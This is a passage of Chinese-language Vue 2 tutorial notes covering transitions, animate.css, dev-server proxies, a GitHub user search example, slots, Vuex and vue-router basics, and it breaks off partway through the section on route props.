        todo.isEdit = true;
      }
      // 在点击"编辑"按钮后自动获取焦点
      // this.$nextTick 指定的回调会在DOM更新后执行
      this.$nextTick(() =>{
        this.$refs.inputTitle.focus();
      });
    },

    // 编辑框失去焦点(真正执行修改逻辑)
    handleBlur(e, todo) {
      // 失焦时取消编辑状态
      todo.isEdit = false;
      // 输入内容非空校验
      if (!e.target.value.trim()) return alert("输入不能为空");
      // 使用全局事件总线将修改后的数据发送给App组件
      this.$bus.$emit("updateTodo", todo.id, e.target.value);
    },
   }
  ...
</script>

App.vue

js
....
methods:{
	// 更新一个todo
    updateTodo(id, title) {
      this.todos.forEach((todo) => {
        if (todo.id === id) todo.title = title;
      });
    },
}
mounted() {
  ....
  // 接收编辑后的todo对象的title值和id
  this.$bus.$on("updateTodo",this.updateTodo);
  ...
beforeDestroy() {
  // 在组件销毁前,解绑全局事件总线自定义事件
  ...
  this.$bus.$off("updateTodo");
  ...
},
....

3.17 Vue封装的过渡与动画

3.17.1 使用自定义过渡动画
  1. 作用:在插入、更新或移除 DOM 元素时,在合适的时候给元素添加样式类名。

  2. 图示:image-20240331195916794

  3. 写法:

    1. 准备好样式:

      • 元素进入的样式:
        1. v/name-enter:进入的起点
        2. v/name-enter-active:进入过程中
        3. v/name-enter-to:进入的终点
      • 元素离开的样式:
        1. v/name-leave:离开的起点
        2. v/name-leave-active:离开的过程
        3. v/name-leave-to:离开的终点
    2. 使用 <transition> 包裹要过渡的元素,并配置

      • name属性:用来区分不同元素的过渡动画(不配置默认使用 v-enter/leave)

      • appear属性:一开始是否显示动画

    3. 在要过渡的元素身上绑定 v-show/v-if:控制元素显示/隐藏

      vue
      <transition name="hello1">
          <h1 v-show="isShow">你好啊!</h1>
      </transition>
          
      <transition name="hello2" appear>
          <p v-show="isShow">Vue</p>
      </transition>
          
      <style>
      /* hello */    
       /* 进入的起点、离开的终点  */
      .hello-enter,
      .hello-leave-to {
        transform: translateX(-100%);
      }
      /* 进入和离开时激活的样式 */
      .hello-enter-active,
      .hello-leave-active {
        transition: 0.5s linear; /*过渡
        animation: atguigu 1s linear; 动画*/
      }
      /* 进入的终点、离开的起点*/
      .hello-enter-to,
      .hello-leave {
        transform: translateX(0);
      }
          
      /* 动画 */
      @keyframes atguigu {
        0% {
          transform: translateX(-100%);
        }
        100% {
          transform: translateX(0px);
        }
      }
          
      /*hello1*/
      /* 进入的起点 离开的终点*/
      .hello1-enter,
      .hello1-leave-to{...};
      /* 进入和离开时的样式 */
      .hello1-enter-active,
      .hello1-leave-active{...};
      /* 进入的终点 离开的起点*/
      .heloo1-entry-to
      .hello1-leave{...};
      </style>
    4. 若有多个元素需要过渡动画,则需要使用:<transition-group>,且每个元素都要指定 key 值。

      Vue
      <transition-group appear>
          <h1 v-show="isShow" key="1">你好啊</h1>
          <h1 v-show="isShow" key="2">Vue</h1>
      </transition-group>
3.17.2 集成第三方动画

使用 animate.css 第三方动画库

  1. 安装:

    shell
     npm install animate.css
  2. 引入 animate.css

    js
    import 'animate.css';
  3. 使用

    添加name="animate__animated animate__bounce" 并指定进入和离开的动画效果

    vue
    <!-- 假设你已经在页面中引入了 Animate.css -->
    <Transition
      name="custom-classes"
      enter-active-class="animate__animated animate__tada"
      leave-active-class="animate__animated animate__bounceOutRight"
    >
      <p v-if="show">hello</p>
    </Transition>
    
    <style>
    .animate__animated {
      // 覆盖默认的过渡时间
      --animate-duration: 0.5s;
    }
    </style>

四、Vue进阶2

4.1 Vue 中的 ajax

4.1.1 常用的发送 ajax 请求的方式
  1. xhr (开发中基本不用)

  2. jQuery (开发中基本不用,基于xhr)

  3. axios(常用 基于xhr)

  4. fetch(兼容性稍差)

  5. vue-resource(插件库,vue1.x 使用广泛,官方已不维护 基于xhr)

    使用:

    1. 安装:

      npm i vue-resource

    2. 使用插件:

      在 main.js 中引入并使用插件

      js
      // 引入 vue-resource 插件
      import vueResource from "vue-resource";
      // 使用插件 vue-resource 所有vm/vc身上都会有 $http
      Vue.use(vueResource);
    3. 发送请求

      js
      this.$http.get/post/put/delete({})
          .then(()=>{})
          .catch(()=>{})

      与axios相似,只需将 axios替换为this.$http 即可

4.1.2 解决开发环境 Ajax 跨域问题

跨域错误信息:image-20240401094922968

同源策略:协议、域名、端口三者都相同

解决跨域:

  1. cors 在服务器端使用设置一个特殊的响应头
  2. 使用代理服务器 在Vue脚手架中配置

4.2 vue脚手架配置代理服务器

原理:创建一个与 vue-cli 搭建的服务相同的代理服务器(http://localhost:8080)并配置目标服务器的地址,向http://localhost:8080发送请求,代理服务器会向目标服务器发送请求返回数据

方法一:

在 vue.config.js 中添加如下配置:

js
devServer: {
    // 配置目标服务器的 url 不写具体路径
    proxy: 'http://localhost:5000'
  },

说明:

  1. 优点:配置简单,请求资源时直接发给前端(8080端口,vue脚手架搭建的服务器)即可
  2. 缺点:不能配置多个代理,不能灵活控制请求是否走代理
  3. 工作方式:若按照上述配置代理,当请求了前端 public目录 下不存在的资源的资源时,那么该请求会转发给服务器(优先匹配前端资源)

使用:

js
getStudents(){
  // 配置了代理服务器,发送请求时向`http://localhost:8080`服务器发送请求
  axios.get("http://localhost:8080/students").then(
       response => {
          // axios返回的data和error为一个对象格式
          console.log("请求成功了",response.data);
        },
       error => {
          console.log("请求失败了",error.message);
        }
      )
    },
方法二:

在 vue.config.js 添加如下配置

js
module.exports = {
  devServer: {
    proxy: {
      // 代理前缀:匹配所有以 '/aiguigu'开头的请求路径
      '/atguigu': { 
        // 配置代理服务器转发请求的目标 url
        target: 'http://localhost:5000',
        // 路径从写:向目标服务器发送请求时,会携带/atguigu,将/atguigu去掉
        pathRewrite:{
        '^/atguigu':''
        },
        // 用于支持 websocket 默认开启为true
        ws: true,
        // 用于控制请求头中的host 默认开启为ture 
        // ture:服务器收到的请求头中的host为:localhost:5000
        // false:服务器收到的请求头中的host为:localhost:8080
        changeOrigin: true
      },
       // 匹配所有以 '/demo'开头的请求路径
      "/demo":{
        target:"http://localhost:5001",
        pathRewrite:{
          "^/demo":""
        }
      }
    }
  }
}

说明:

  1. 优点:可以配置多个代理,且可以灵活的控制请求走代理(加上代理服务器的前缀)获取前端资源(不加代理服务器前缀)
  2. 缺点:配置略微繁琐,请求资源时必须加前缀

使用:

js
getStudents(){
      // 配置了代理服务器,发送请求时向`http://localhost:8080`服务器发送请求
      // 向服务器1发送请求加上 代理服务器的 /atguigu前缀
      axios.get("http://localhost:8080/atguigu/students").then(
        response => {
          console.log("请求成功了",response.data);
        },
        // axios返回的data和error为一个对象格式
        error => {
          console.log("请求失败了",error.message);
        }
      )
    },
    getCars(){
      // 向服务器2发送请求加上 代理服务器的 /demo前缀
      axios.get("http://localhost:8080/demo/cars")
      .then(res => {
        console.log(res.data)
      })
      .catch(err => {
        console.error(err.message); 
      })
    }

可以使用代理服务器去代理任何有效的URL,例如http://example.comhttp://another-website.com

使用代理服务器请求:https://api.github.com/search/users?q=xxx 接口并实现跨域

vue.config.js

js
const { defineConfig } = require("@vue/cli-service");
module.exports = defineConfig({
  transpileDependencies: true,
  // 配置代理服务器
  devServer: {
    proxy: {
      // 匹配以 /api开头的路径
      "/api": {
        // 目标url
        target: "https://api.github.com",
        // 路径重写
        pathRewrite: {
          "^/api": "",
        },
      },
    },
  },
});

App.vue

js
send(){
      // 向本地发送请求
      axios.get("/api/search/users?q=xxx")
      .then(res => {
        console.log(res)
      })
      .catch(err => {
        console.error(err); 
      })
    }

特别注意:修改了vue.config.js文件后需要重启服务

4.3 github 用户搜索案例

4.3.1 拆分组件

image-20240401163953238

4.3.2 引入第三方样式

方式一:

将下载好的样式放在 src/assets/css 下,在App组件中使用 import 引入

注意:当引入的样式中涉及引入外部第三方的样式会编译出错

方式二:

将下载好的样式放在 public/css 下 ,在index.html 中使用 link 标签引入

注意:

引入时使用绝对路径:<%= BASE_URL %>

html
<link rel="stylesheet" href="<%= BASE_URL %>css/bootstrap.css">
4.3.3 获取数据

接口地址:https://api.github.com/search/users?q=xxx (get)

  1. 在Search组件中使用 axios 发送请求获取数据:

Search.vue

js
import axios from "axios";
....
  methods: {
    searchUsers() {
      axios
        .get(`https://api.github.com/search/users?q=${this.keyWord}`)
        .then((res) => {
          console.log(res.data.items);
        })
        .catch((err) => {
          console.error(err.message);
        });
    },
  },
  1. 使用全局事件总线将数据从 Search组件 传递到 List组件,在List组件中接收数据,并动态渲染页面。

main.js (安装全局事件总线)

js
new Vue({
  el: "#app",
  render: (h) => h(App),
  // 安装全局事件总线
  beforeCreate() {
    Vue.prototype.$bus = this;
  },
});

List.vue (为全局事件总线绑定自定义事件)

js
methods: {
    getUsers(data,..){
      this.users = data;
    }
  },
mounted() {
    // 为全局事件总线绑定自定义事件,获取数据
    this.$bus.$on("getUsers",this.getUsers)
  },

Search.vue (触发自定义事件)

js
this.$bus.$emit("getUsers", res.data.items,..)
4.3.4 页面效果完善

在初次访问页面时显示:欢迎使用

搜索时显示:正在搜索

搜索成功:显示数据

搜索失败显示:错误信息

通过设置 isFirst isLoading errMsg users 四个属性来控制显示的信息,在点下按钮、请求成功发送、请求失败,时通过触发全局事件总线上绑定的自定义事件传递参数来改变显示。

List.vue

vue
<template>
  <div class="row">
    <!-- 展示用户列表 -->
    <div
      v-show="info.users.length"
      class="card"
      v-for="user of info.users"
      :key="user.id"
    >
      <a :href="user.html_url" target="_blank">
        <img :src="" data-missing="user.avatar_url" style="width: 100px" />
      </a>
      <p class="card-text">{{ user.login }}</p>
    </div>
    <!-- 展示欢迎词 -->
    <h1 v-show="info.isFirst">欢迎使用GitHub搜索!</h1>
    <!-- 展示加载中 -->
    <h1 v-show="info.isLoading">正在努力搜索中.....</h1>
    <!-- 展示错误信息 -->
    <h1 v-show="info.errMsg">哎呀,出错了 {{ info.errMsg }}</h1>
  </div>
</template>

<script>
export default {
  name: "List",
  data() {
    return {
      info: {
        isFirst: true, // 是否是第一次搜索
        isLoading: false, // 是否正在加载
        errMsg: "", // 错误信息
        users: [],  // 返回的用户数据
      },
    };
  },

  methods: {
    updateListDate(dataObj) {
      // 注意:不能直接修改 this.data(无)和 this._data(内有getter,setter方法)
      // 将数据包裹在一个info对象中,修改this.info对象,调用了info的setter方法
      this.info = { ...this.info, ...dataObj };
      // ES6语法 扩展运算符,对象合并(使isFirst不丢失,在触发自定义事件时未传递该参数)
      console.log(this);
    },
  },

  mounted() {
    // 为全局事件总线绑定自定义事件,获取数据,并获取当前展示状态
    this.$bus.$on("updateListDate", this.updateListDate);
  },

Search.vue

js
searchUsers() {
      // 请求前更新List的数据
      this.$bus.$emit("updateListDate", {
        isFirst: false,
        isLoading: true,
        errMsg: "",
        users: [],
      });
      axios
        .get(`https://api.github.com/search/users?q=${this.keyWord}`)
        .then((res) => {
          // 请求成功后更新List的数据
          this.$bus.$emit("updateListDate", {
            isLoading: false,
            errMsg: "",
            users: res.data.items,
          });
        })
        .catch((err) => {
          console.error(err.message);
          // 请求失败后更新List的数据
          this.$bus.$emit("updateListDate", {
            isLoading: false,
            errMsg: err.message,
            users: [],
          });
        });
    },
4.3.5 添加过渡动画

使用 animate.css 列表信息的显示和隐藏添加过渡动画

  1. 安装 animate.css

    npm i animate.css
  2. 导入animate.css

    js
    import 'animate.css';
  3. 使用 <transition-group> 包裹要过渡动画的标签并添加属性

    vue
    <transition-group
        appear
        name="animate__animated animate__bounce"
        enter-active-class="animate__bounceIn"
        leave-active-class="animate__backOutRight"
        >
        ...
        ...
        <!-- 展示欢迎词 -->
          <h1 v-show="info.isFirst" key="2">欢迎使用GitHub搜索!</h1>
        .....
    </transition-group>
  4. 为每个应用过渡动画的子标签添加 key 属性

注意:有多个元素需要动画时使用 <transition-group>标签,且为每个子元素添加 key 值

4.4 slot 插槽

4.4.1 作用

让父组件可以向子组件指定位置插入 html结构,也是一种组件间通信的方式,适用于 父组件 ==> 子组件

4.4.2 分类

默认插槽、具名插槽、作用域插槽

4.4.3 理解

父组件向子组件传递带数据的标签,当一个组件有不确定的结构时, 就需要使用slot 技术,注意:插槽内容是在父组件中编译后, 再传递给子组件的(样式需要写在父组件中)。

在父组件中的子组件标签内写一段 html 代码父组件将 html 代码编译好后放在子组件内指定的位置

4.4.4 使用方式
  1. 默认插槽

    父组件中:(组件标签必须使用双标签)

    html
    <Category>
        <div>
            html结构1
        </div>
    </Category>

    子组件中:(使用slot标签指定html结构的位置)

    html
    <template>
        <div>
            <!-- 定义插槽 -->
            <slot>插槽默认内容,没人使用的时候我会显示</slot>
        </div>
    </template>
  2. 具名插槽

    理解:为每个插槽指定一个name属性用来区分不同的插槽

    父组件中:(使用 slot 或 v-slot 指定要使用的插槽)

    html
    <Category>
        <template slot="center">
            <div>
                html结构1
            </div>
        </template>
        
        <template v-slot:footer>
            html结构2
        </template>
    </Category>

    子组件中:(为 slot 标签添加 name 属性定义不同插槽)

    html
    <template>
        <div>
            <!-- 定义插槽 -->
            <slot name="center"></slot>
            <slot name="footer"></slot>
        </div>
    </template>
  3. 作用域插槽:

    理解:数据在子组件中,但结构需要根据数据在父组件中生成。(即数据在子组件中,父组件使用插槽生成的结构需要子组件中的数据),使用 slot 标签为插槽使用者传递数据

    父组件中:(通过 scope 或 slot-scpe 接收子组件传递的数据)

    vue
    <Category title="游戏">
          <template scope="atguigu">
            {{ atguigu }}
            <!-- 接收到的内容为一个对象 { "games": [ "LOL", "王者荣耀", "DNF", "绝地求生" ], "hello": "slot" } -->
            <ol>
              <li v-for="(item, index) of atguigu.games" :key="index">
                {{ item }}
              </li>
            </ol>
          </template>
        </Category>
    
        <Category title="游戏">
          <template slot-scope="{ games, hello }">
            <!-- 使用 template 标签 并添加 slot-scope=""2.5+ 或 scope=""属性 
              接收组件<slot>标签中传递的数据 为对象格式,可以使用结构赋值-->
            <ul>
              <li v-for="(item, index) of games" :key="index">{{ item }}</li>
            </ul>
            <h4>{{ hello }}</h4>
          </template>
        </Category>

    tips:scope 接收到的为一个对象形式的数据,可以使用解构赋值的方式获取内部的每个属性

    子组件中:(在 slot 标签中为父组件传递数据)

    vue
    <template>
      <div class="catgory">
        <!-- 为 slot 传递数据 将数据传递给插槽的使用者 可以传递多个数据-->
        <slot :games="games" hello="slot">我是默认内容</slot>
      </div>
    </template>
    
    <script>
    export default {
      name: "Category",
      props: ["title"],
      data() {
        return {
          games: ["LOL", "王者荣耀", "DNF", "绝地求生"],
        };
      },
    };
    </script>

注意:

  1. 组件标签必须使用双标签

  2. slot 标签的内容在插槽没被使用时展示

  3. v-slot:"xx" 绑定插槽name值 必须配合 template 标签使用

    slot="" 可以在任何标签中使用

  4. slot-scop 和 scop 两者用法相同且可以在任何标签中使用

  5. 在使用插槽的父组件中最好使用 template 标签在最外层进行包裹(template标签不会被解析)

4.5 Vuex

4.5.1 概念

是Vue中集中式状态(数据)管理的一个 Vue插件,对vue应用中多个组件的共享状态(数据)进行集中式管理(读/写),也是一种组件间通信的方式,且适用于任意组件间通信

4.5.2 使用场景

多个组件需要共享数据时

4.5.3 多组件共享数据,全局事件总线和vuex对比
  1. 多组件共享数据——全局事件总线实现:

image-20240402193438740

  1. 多组件共享数据——vuex实现:

image-20240402193514793

4.5.4 Vuex 工作原理图

vuex

image-20240402221934795

Vuex由:Actions、Mutations,State三者组成

Actions、Mutations、State为对象类型,三者都在 store 的管理下

4.5.5 搭建Vuex环境
  1. 安装

vue2中,要用vuex的3版本 npm i vuex@3

vue3中,要用vuex的4版本 npm i vuex

  1. 创建文件:src/store/index.js
js
// 引入 Vue 核心库
import Vue from 'vue'
// 引入 Vuex 插件
import Vuex from 'vuex'
// 使用 Vuex 插件
Vue.use(Vuex)

// 准备 actions 对象 ———— 用于响应组件中用户的动作 dispath
const actions = {}
// 准备 Mutations 对象 ———— 修改state中的数据 commit
const mutations = {}
// 准备 state 对象 ———— 保存具体的数据/状态
const state = {}

// 创建并暴露 store 
export default new Vuex.Store({
    actions,
    mutations,
    state
})
  1. main.js 中创建 vm 时传入 store 配置项
js
....
// 引入 store
import store from './store/index'
....

// 创建 vm 
new Vue({
    el:'#app',
    render:h => h(app),
    store
})

此时在所有的 vm/vc 身上就存在了一个 $store

注意:要先执行 Vue.use(Vuex) 再引入 store,Vue脚手架会将所有的 import 语句自动提升先执行,因此在创建 store 的代码中 先引入 Vue 和 Vuex 执行 Vue.use(Vuex) 后再创建 store

4.5.6 基本使用
  1. store/index.js 中 初始化 state 中的数据、配置 actions、配置 mutations
js
// 该文件用于创建 Vuex 中最为核心的store

// 引入 vue 用于使用Vuex
import Vue from "vue";
// 引入Vuex
import Vuex from "vuex";
// 使用 Vuex 插件
Vue.use(Vuex);

// 准备 actions --- 用于响应组件中的动作
const actions = {
  // 在actions中的逻辑代码可以实现多组件复用
  jia(context, value) { // value为调用this.$store.dispath()时传递的数据
    // 调用mutations中的JIA方法
    context.commit("JIA", value);
    // context内部有dispath,commit,state....
  },
  jiaOdd(context, value) {
    console.log("处理了一些逻辑———jiaOdd");
    // 可以通过context继续调用dispatch触发其他action处理较为复杂的业务逻辑
    context.dispatch("demo1", value);
  },
  demo1(context, value) {
    console.log("处理了一些逻辑———demo2");
    if (context.state.sum % 2) {
      context.commit("JIA", value);
    }
  }, 
};

// 准备 mutations --- 用于操作数据(state)
const mutations = {
  // 方法名一般全大写
  JIA(state, value) {
    console.log("mutations中的JIA被调用了", state, value);
    state.sum += value;
  },
};

// 准备 state --- 用于存储数据
const state = {
  sum: 0, // 当前的求和
};

// 创建并暴露 store
export default new Vuex.Store({
  actions,
  mutations,
  state,
});

Count.vue

js
methods: {
    increment() {
      // dispath("jia",this.n) 调用actions中的jia方法并传递参参数 this.n
      // this.$store.dispatch("jia", this.n);
      // 在actions中无业务逻辑可以直接commit调用mutations中的方法
      this.$store.commit("JIA", this.n);
    },
    incrementOdd() {
      this.$store.dispatch("jiaOdd", this.n);
    },
  },
  1. 在组件中读取 Vuex 中的数据:
vue
{{ $store.state.sum }}
  1. 组件中修改 Vuex 中的数据:
js
// 需要在 actions 中进行一些业务逻辑
this.$store.dispatch("actions中的方法名",数据);

// 没有网络请求或其它业务逻辑,组件中可以越过actios 直接调用 commit
this.$store.commit("mutations中的方法",数据)

tips:

  1. 一般将逻辑写在actions中,可以在多个组件中使用,提高复用率。

  2. 若没有网络请求或其他业务逻辑,组件中也可以越过actions,即不写dispatch,直接编写commit

  3. Vuex 开发者工具只监测 mutations 中发生的变化,所有对 state 中数据的操作一般放在 mutations 中

注意:

actions中不对数据进行修改,在mutations中才对 state中的数据进行修改

4.5.7 getters 的使用
  1. 概念:当 state 中的数据需要经过加工后再使用时,可以使用 getters 进行加工,相当于computed

  2. store/index.js 中追加 getters 配置,并在 store 中配置

js
....
const state = {
  sum: 0, // 当前的求和
};

// 准备 getters --- 用于将state中的数据进行加工
const getters = {
  bigSum(state) { // 参数固定为state
    return state.sum * 10;
  },
};

// 创建并暴露 store
export default new Vuex.Store({
  ....
  getters,
});
  1. 在组件中读取数据:
vue
<h3>当前求和放大10倍为:{{ $store.getters.bigSum }}</h3>

tips:

getters 的用法和作用类似于 computed 但 getters 内对state加工后的数据可以在任何组件中访问到

4.5.8 四个map方法的使用

mapState、mapGetters作用:将 $store.state.xx$store.getters.xx 生成计算属性,为了简化在插值语法中读取state中的属性()

1.mapState:

用于帮助我们映射 state 中的数据为计算属性

使用:

  1. 对象写法:...mapState({ 计算属性名:"state中的属性名", ...})
  2. 数组写法:...mapState(["state中的属性名",...]) 适用于计算属性和state中的属性名相同时
js
// 引入 mapState 
import { mapState } from 'vuex';

computed:{
    // 借助 mpaState 生成计算属性:scum、school、subject
    // 返回值为一个包含多个计算属性对象需要使用扩展运算符... 进行展开
    // 1.对象写法  
    ...mapState({ sum:"sum", school:"school", subject:"subject" }), 
    // 注意:此处不能使用对象的简写方式"sum"为字符串非变量名
        
     // 2.数组写法
     ...mapState(["sum","school","object"]
}

2.mapGetters方法:

用于帮助我们映射 getters 中的数据为计算属性

使用:

  1. 对象写法:...mapGetters({计算属性名:"getters中的属性名",...})
  2. 数组写法:...mapGetters(["getters中的属性名",...]) 适用于计算属性名和getters中的属性名相同时
js
// 引入 mapGetters
import { mpaGtters } from 'vuex';

computed:{
	// 借助 mapGetters生成计算属性:bigSum
    // 1.对象写法
    ...mapGetters({bigSum:"bigSum"})
    
    // 2.数组写法
    ...mapGetters(["bigSum"])
}

tips:两种写法的区别

  1. 对象写法

    mapxxx({ 计算属性名:"xxx中的属性名" , ......})

    适用于计算属性名和xxx中的属性名不同

  2. 数组写法

    mapxxx(["xxx中的属性名"])

    适用于计算属性名和xxx中的属性名相同

3.mapActions方法:

用于帮助我们生成与 actions 对应的方法,即:包含 $store.dispath(xxx)函数

使用:

  1. 对象写法:...mapActions({方法名:'actions中的方法名',....})
  2. 数组写法:...mapActions(["actions中的方法名",...]) 适用于方法名actions中的函数相同
js
// 引入mapActions
import { mapActions } from 'vuex'

methods:{
	// 使用 mapActions生成对应的方法,方法中会调用dispatch方法去联系actions中的方法
    // 1.对象写法
    ...mapActions({ incrementOdd:"jiaOdd", incrementWait:"jiaWait"}),
   
    // 2.数组写法 (当方法名和actions中的方法名相同时)
    ...mapActions(["jiaOdd","jiaWait"])
    //注意传递参数需要在模板中绑定事件时传递
}

// 不使用mapActions生成写法:
methods:{
    incrementOdd() {
      this.$store.dispatch("jiaOdd", this.n);
    },
    incrementWait() {
      this.$store.dispatch("jiaWait", this.n);
    }
}

4.mapMutations方法:

用于帮助我们生成与 mutations 对话的方法,即:包含 $store.commit(xxx)函数

使用:

  1. 对象写法:...mapMutations({方法名:"mutations中的方法名"})
  2. 数组写法:...mapMutations(["mutations中的方法名"]) 适用于方法名和mutations中的
  3. 方法名相同时
js
import { mapMutations } from 'vuex'

methods:{
    // 使用 mapMutations 生成对应的方法,方法中会调用 commit 方法去联系mutations中的方法
    // 1.对象写法
    ...mapMutations({increment:"JIA",decrement:"JIAN"})
    
    // 2.数组写法(方法名和mutations中的方法名相同时)
    ...mapMuations(["JIA","JIAN"])
}

// 不使用 mapMutations 生成方法
	increment(){
        this.$store.commit("JIA",this.n)
    },
    decrement(){
        this.$store.commit("JIAN",this.n)
    }

注意:mapActions 和 mapMutations 使用时,若需要传递参数时,需要在模板中绑定事件时传递参数,否则参数是事件对象。

4.5.9 多组件共享数据
  1. 将需要共享的数据配置到 vuex 的 state 中
  2. 在需要使用数据的组件中通过 mapState/mapGetters或$store.state.xx/$store.getters.xx 去获取共享的数据
  3. 使用 this.$store.dispath()/this.$store.commit() 或 mapActions/mapMutations 去修改共享的数据
4.5.10 模块化+命名空间
  1. 目的:让代码更好维护,让多种数据分类更加明确
  2. 修改store/index.js
js
...
// 引入求和相关的配置
import countOptions from "./count";
// 引入人员管理相关的配置
import personOptions from "./person";

// 创建并暴露 store
export default new Vuex.Store({
  // 模块化
  modules: {
    countAbout: countOptions,
    personAbout: personOptions,
  },
});
  1. 配置 store/count.js 求和相关的配置
js
export default{
    namespaced:true,
    // 开启命名空间 才能使用 ...mapState("countAbout",["sum", "school","subject"]),
    // 响应组件中的动作并进行逻辑处理
    actions:{...},
    // 操作state中的数据         
    mutations:{...},
    // 存储组件间共享的数据           
    state:{...},
    // 用于将state中的数据进行加工       
    getters:{...}
}
  1. 配置 store/perosn.js 人员管理相关配置
js
export default{
    // 开启命名空间 才能使用 ...mapState("personAbout",["xx",...]),
    namespaced:true,
    // 响应组件中的动作并进行逻辑处理
    actions:{...},
    // 操作state中的数据         
    mutations:{...},
    // 存储组件间共享的数据           
    state:{...},
    // 用于将state中的数据进行加工       
    getters:{...}
}
  1. 开启命名空间后,组件中读取 state 数据:
js
// 方式一:自己直接读取
this.$store.state.personAbout.xxx

// 方式二:借助 mapState 读取:
...mapState("countAbout",["xx","xx",...])
  1. 开启命名空间后,组件中读取 getters 数据:
js
// 方式一:自己读取
this.$store.getters["personAbout/xxx"]

// 方式二:借助 mapStter 读取
...mapSetter("countAbout",["xx",...])
  1. 开启命名空间后,组件中调用 diapath
js
// 方式一:自己直接 dispatch
this.$store.dispath("personAbout/xxx",data)

// 方式二:借助 mapActions
...mapActions("countAbout",{incrementOdd:"jiaOdd",...})
  1. 开启命名空间后,组件中调用 commit
js
// 方式一:自己直接 commit
this.$store.commit("personAbout/ADD_PERSON",person)

// 方式二:借助 mapMutations
...mapMutations("countAbout",{increment:'JIA',decrement:'JIAN'})

4.6 路由(vue-router)

4.6.1 路由的理解
  1. 作用:vue 的一个插件库,专门用来实现 SPA 应用

  2. 理解:一个路由(route)就是一组映射关系(key-value ),多个路由,需要经过路由器(router)进行管理

  3. 前端路由:key是路径(/path),value是组件

4.6.2 SPA应用
  1. 单页面应用(single page application,SPA)
  2. 整个应用只有一个完整的页面(index.html)。
  3. 点击页面中的导航链接不会刷新页面,只会做页面的局部更新。
  4. 数据需要通过 ajax 请求获取。
4.6.3 路由分类
  1. 后端路由:

    1)理解:value 是 function, 用于处理客户端提交的请求。

    2)工作过程:服务器接收到一个请求时, 根据请求路径找到匹配的函数来处理请求, 返回响应数据。

  2. 前端路由:

    1)理解:value 是 component,用于展示页面内容。

    2)工作过程:当浏览器的路径改变时, 对应的组件就会显示。

4.6.4 基本使用
  1. 安装 vue-router

    Vue2:npm i vue-router@3

    Vue3:npm i vue-router

  2. 编写路由配置项 src/router/index

js
// 该文件专门用于创建整个应用的路由器
import VueRouter from "vue-router";
// 引入路由组件
import About from "../components/About";
import Home from "../components/Home";

// 创建并暴露一个路由器
export default new VueRouter({
  routes: [ // 路由配置
    {
      path: "/about", // 当路由为/about时
      component: About, // 展示About组件
    },
    {
      path: "/home",
      component: Home,
    },
  ],
});
  1. 在main.js引入并应用路由插件,并配置路由器
js
....
// 引入 vue-router
import VueRouter from "vue-router";
// 引入路由器
import router from './router/index'

// 应用 VueRouter 插件
Vue.use(VueRouter);

new Vue({
  .....
  // 配置router配置项
  router: router,
});
  1. 实现路由切换

    使用 <router-link to='/xxx'></router-link> 标签,并使用 to 属性指定路由

vue
<!-- Vue中借助 router-link 标签实现路由的切换 -->
<router-link class="list-group-item" active-class="active" to="/about"
  >About</router-link
>
<router-link class="list-group-item" active-class="active" to="/home"
  >Home</router-link
>

router-link 标签会自动转换为 a 标签

active-class :设置标签被激活时的样式类名

  1. 指定展示路由组件的位置
vue
<router-view></router-view>
4.6.5 使用路由注意点
  1. 路由组件通常存放在 pages/views 文件夹,公共组件一般存放在 components 文件夹
  2. 通过切换,"隐藏"了的路由组件,默认是被销毁的,展示的时候再重新挂载,想要被缓存可以使用 keep-alive组件
  3. 每个路由组件都有自己的 $route 属性,里面存储着自己的路由信息,不同路由组件的 $route 属性互不相同
  4. 每个应用只有一个router,可以通过路由组件的 $router 属性获取,不同路由组件的 $router 属性是相同的
4.6.6 嵌套(多级)路由
  1. 在一级路由下配置二级路由,使用children配置项:
js
export defalut new VueRouter({
    routes:[
      // 一级路由
      {
        path:"/home",
        component:About,
        // 二级路由 通过children进行配置
        children:[
          {
            path:"news", // 二级路由path不以/开头
            component:News, // 路由组件 需要先进行引入
          },
          {
            path:"message",
            component:Message
          }
        ]
      },
    ]
})

注意:二级路由path不以/开头

  1. 路由跳转(要写完整路径):
vue
<router-link to="/home/news">news</router-link>
  1. 指定路由组件展示位置:
vue
<router-view></router-view>
4.6.7 路由的query传参

形式:path?a=xx&b=xxx

作用:向路由组件中传递参数

  1. 跳转路由并携带query参数
vue
<!-- 1.to的字符串写法 v-bind+模板字符串 -->
<router-link :to="`/home/message/detail?id=${item.id}&title=${item.title}`">
{{ item.title }}</router-link>

<!-- 2.to的对象写法 将path和query分开 -->
<router-link 
   :to="{
      path:'/home/message/detail',
      query:{
        id:item.id,
        title:item.title,
        }
     }"
>跳转</router-link>

推荐使用 to的对象写法

  1. 在路由组件中接收参数:
js
$route.query.id
$route.query.title
4.6.8 命名路由

作用:可以简化路由的跳转,一般用在多级路由

使用:

  1. 给路由命名:添加一个name属性
js
export default new VueRouter({
    routes:[
      {
        path:"/home",
        component:Home,
        children:[
           {
             path:"message",
             component:Message,
             children:[
                name:"det", // 给路由命名
                path:"detail",
                component:Detail
             ]
           }
        ]
      }
   ]
})
  1. 简化跳转
vue
<!-- 简化前,需要写完整路径 -->
<router-link to="/home/message/detail">跳转</router-link>

<!-- 简化后,直接通过名字跳转 -->
<router-link :to="{name:'det'}">跳转</router-link>

<!-- 简化写法配合传递query参数 -->
<router-link
   :to="{
      name:'det',
      query:{
      	id:'666',
        title:'你好'
      }
   }"
>跳转</router-link>

注意:如果想在 router-link 中使用命名路由,需要将to写成对象写法 :to="{name:'det'}"

4.6.9 路由的params参数

params参数形式:

​ 传递:/path/param1/param2

​ 接收:path/:id/:title

使用:

  1. 配置路由,声明接收params参数
js
export default new VueRouter({
    routes:[
      {
        path:"/home",
        component:Home,
        children:[
          {
            path:"message",
            coponent:Message,
            children:[
               {
                  name:"xiangqing",
                  path:"detail/:id/:title",// 使用占位符声明接收params参数
                  component:Detail
               }
            ]
          }
        ]
      }
    ]
})
  1. 跳转路由并传递params参数
vue
<!-- to的字符串写法 -->
<router-link :to="`/home/message/detail/${item.id}/${item.title}`">
跳转</router-link>

<!-- to的对象写法 -->
<router-link 
    :to="{
       name:"xiangqing", // 传递params参数to为对象形式时必须使用name配置
       params:{
          id:item.id,
          title:item.title             
       }                
    }"
>跳转</router-link>

注意:路由携带params参数时,若使用to的对象写法,则不能使用path配置项,必须使用name配置

  1. 接受参数
js
$route.params.id
$route.params.title
4.6.10 路由的props配置

作用:让路由组件更方便收到 query/params 参数(即简写 $route.query/params.xx

  1. 在 src/router/index.js 的路由配置中添加props配置
js
{
    name:"xiangqing", // 命名路由
    path:"detail/:id/:title",
    component:Detail,
        
    //第一种写法:props值为对象,该对象中的所有key-value都会以props的形式传递给Detail组件
